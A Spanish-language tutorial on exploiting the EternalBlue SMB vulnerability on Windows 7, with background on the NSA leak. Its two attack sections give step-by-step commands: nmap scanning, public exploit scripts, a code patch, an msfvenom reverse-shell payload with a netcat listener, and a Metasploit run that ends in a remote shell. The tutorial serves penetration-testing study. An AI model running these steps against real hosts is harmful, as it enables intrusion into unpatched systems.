Explotar Windows 7 con exploit EternalBlue

> EternalBlue es un exploit desarrollado por la NSA (Agencia de Seguridad Nacional de los EE.UU) y filtrado por el grupo de hackers Shadow Brokers el 14 de... Windows

# VULNERABILIDAD y ORIGEN de ETERNALBLUE

EternalBlue es un exploit desarrollado por la NSA (Agencia de Seguridad Nacional de los EE.UU) y filtrado por el grupo de hackers Shadow Brokers el 14 de abril de 2017, el grupo se filtro en la base de datos de la agencia y desde allí accedieron a todo tipo de herramientas y exploits que luego publicaron en venta. Luego de que el exploit fuera liberado, los ciberdelincuentes no tardaron en aprovecharse para atacar hospitales, empresas y gobiernos con dicha vulnerabilidad; fue utilizado en el ataque mundial de ransomware con WannaCry. Los ataques aumentaron desconsideradamente y para la NSA no le quedo otra opción que reportar la vulnerabilidad a Microsoft y que esté lance un parche para corregirla.

EternalBlue se aprovecha de una vulnerabilidad en el protocolo Server Message Block (SMB) de Microsoft, cuyo protocolo permite compartir archivos e impresoras conectadas a la red. Estaba presente en todos los sistemas operativos Windows: Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold. Aunque Microsoft libero una actualización de seguridad el 14 de marzo de 2017 que resolvió el problema a través del parche MS17-010, seguidamente se extendió a versiones antiguas de Windows (Windows XP, Windows 8 y Windows Server 2003).

Grupo The Shadow Brokers

El grupo de Shadow Brokers apareció por primera vez en el verano del 2016. Fue reconocido por sus publicaciones en donde filtraban herramientas de hacking, exploits y vulnerabilidades zero-day del "Equation Group", una rama de la NSA clasificada como una amenaza persistente avanzada. Los exploits estaban dirigidos a firewalls empresariales, software, productos de Windows, smart TVs, smartphones y otros dispositivos para recopilar información. Las publicaciones de Shadow Brokers indicaban que tenían programas de espionaje dirigidos a productos de Juniper, Fortigate, Cisco y Topsec, así como también el código del gusano informático Stuxnet (utilizado para atacar las instalaciones de uranio de Irán).

El grupo de hackers tenía una web bajo ZeroNet donde subastaban los exploits directamente y de uno en uno, los precios iban desde 1 y 100 bitcoins pero la sala de subasta no tenia suficiente actividad, por lo que nadie quería comprarlos en su momento. Los intentos de venta han sido por medio de comunicados en inglés, y que según estos, tienen faltas de ortografía, lo que deduce que no son estadounidenses y que trabajan para un gobierno en específico. Hasta la fecha su cuenta de Twitter sigue existiendo desde agosto de 2016 pero sin señales de actividad desde su última publicación en donde ofrecen servicios individuales VIPs para hackear una organización, obtener información confidencial o comprar herramientas via email.

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

WEBGRAFÍA:
  • https://es.wikipedia.org/wiki/EternalBlue

  • https://en.wikipedia.org/wiki/The_Shadow_Brokers

# EXPLOTAR ETERNALBLUE | Manual

Con el script (smb-vuln-ms17-010) de Nmap comprobamos si el sistema es o no vulnerable a EternalBlue:

$ sudo nmap --script smb-vuln-ms17-010 <TARGET>

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Efectivamente, el sistema es vulnerable a EternalBlue. Ahora faltaría bajar localizar el exploit y descargarlo con Searchsploit:

$ searchsploit eternalblue

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Exploit: Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 = 42315

$ searchsploit -m 42315

El exploit esta programado con Python3 y es necesario el módulo mysmb para hecharlo andar, así que ejecutamos el siguiente comando para descargarlo:

$ wget https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py

Si ejecutamos el código podemos observar que no presenta errores de módulos:

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Las tuberías con nombre (named pipes) son una forma de que los procesos en ejecucción se comuniquen entre sí con muy poca sobrecarga, generalmente aparecen como nombre de archivos para que otros procesos se adjunten. Metasploit tiene un escáner que encontrará cualquier tubería con nombre de un host, pero yo prefiero utilizar un script de forma manual: https://github.com/zzwlpx/ms17010-nsa-EternalBlue/blob/master/checker.py

Después de descargar y ejecutar el código, lo más normal es que le salte el siguiente error:

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Esto ocurre porque la función str se utiliza para devolver una cadena, no para imprimir una. Para solucionarlo debemos editar el código mysmb.py, hay que sustituir las líneas 229 y 230 por:

$ req = pkt.getData()
return b'\x00'*2 + pack('>H', len(req)) + req

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Si ejecutamos el checker ya funciona correctamente:

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Named pipes aceptados: browser, netlogon, lsarpc, samr.

Posiblemente les lance el siguiente error de autenticación de usuario:

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Así que probemos con otro exploit más actualizado: https://github.com/3ndG4me/AutoBlue-MS17-010

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Hay varias versiones del exploit, el que nos interesa es eternalblue_exploit7.py. Seguidamente, generamos una shellcode con msfvenom para escuchar las conexiones de la máquina:

$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP-LOCAL> LPORT=<PUERTO> -f exe -o <DIRECTORIO/NOMBRE>

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Después ejecutamos Netcat y ponemos a escucha el puerto del shellcode:

$ nc -lvnp

Finalmente ejecutamos el exploit 7 con la ruta del shellcode generado:

$ python3 eternalblue_exploit7.py <IP> <SHELLCODE>

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

En la terminal de Netcat se abrirá una shell remota en donde podemos interactuar con la máquina víctima:

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Es IMPORTANTE aclarar que eternalblue no siempre funciona a la primera, es por eso que hay que reintentar nuevamente hasta que la conexión se establezca.

# EXPLOTAR ETERNALBLUE | Automatizado con Metasploit

Si bien es cierto que hacerlo manual lleva más tiempo, es aquí donde entra Metasploit para facilítarnos la vida. Personalmente prefiero llevar el ataque de forma manual, pero tampoco quiero olvidarme de los fans de Metasploit; que en sí no es malo utilizarlo, sino hacerlo sin tener idea de que ocurre por detrás del proceso. Para comenzar con el procedimiento, podemos verificar si la máquina es vulnerable a eternalblue con el scanner ya incorporado del framework:

$ msfconsole
search eternalblue scanner
use auxiliary/scanner/smb/smb_ms17_010  |  use 0
set RHOSTS <IP>

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

El host es vulnerable:

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Por último, seleccionamos el exploit ms17_010_eternalblue y configuramos el RHOSTS nuevamente:

$ use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP>

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Metasploit se encargará de ejecutar el exploit las veces que sea necesario para obtener una shell remota, como mencione más arriba, eternalblue no siempre funciona a la primera (el host anterior fue reemplazado).

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

# Detalles

La vulnerabilidad es capaz de otorgar el control completo sobre una máquina por medio de ejecucción de código arbitrario a nivel administrador sin requerir la interacción del usuario. Actualmente esta vulnerabilidad ha sido parchada, pero no significa que no debamos estar alerta ya que aún hay empresas que siguen utilizando versiones antiguas de Windows que no tienen soporte (Ej. Windows 7), así como también para uso doméstico en computadoras antiguas. Se recomienda siempre mantener el equipo actualizado, y si es posible, tener un segundo antivirus y no abrir correos desconocidos o "spam" ya que en muchas ocasiones los atacantes incrustan el exploit en un software legítimo para que la víctima lo descargue y ejecute en su máquina.

Advertencia: Todo el contenido de este artículo es estrictamente educativo. No nos hacemos responsables del mal uso de esta herramienta o información. Practica únicamente en entornos controlados y con autorización.
× Imagen ampliada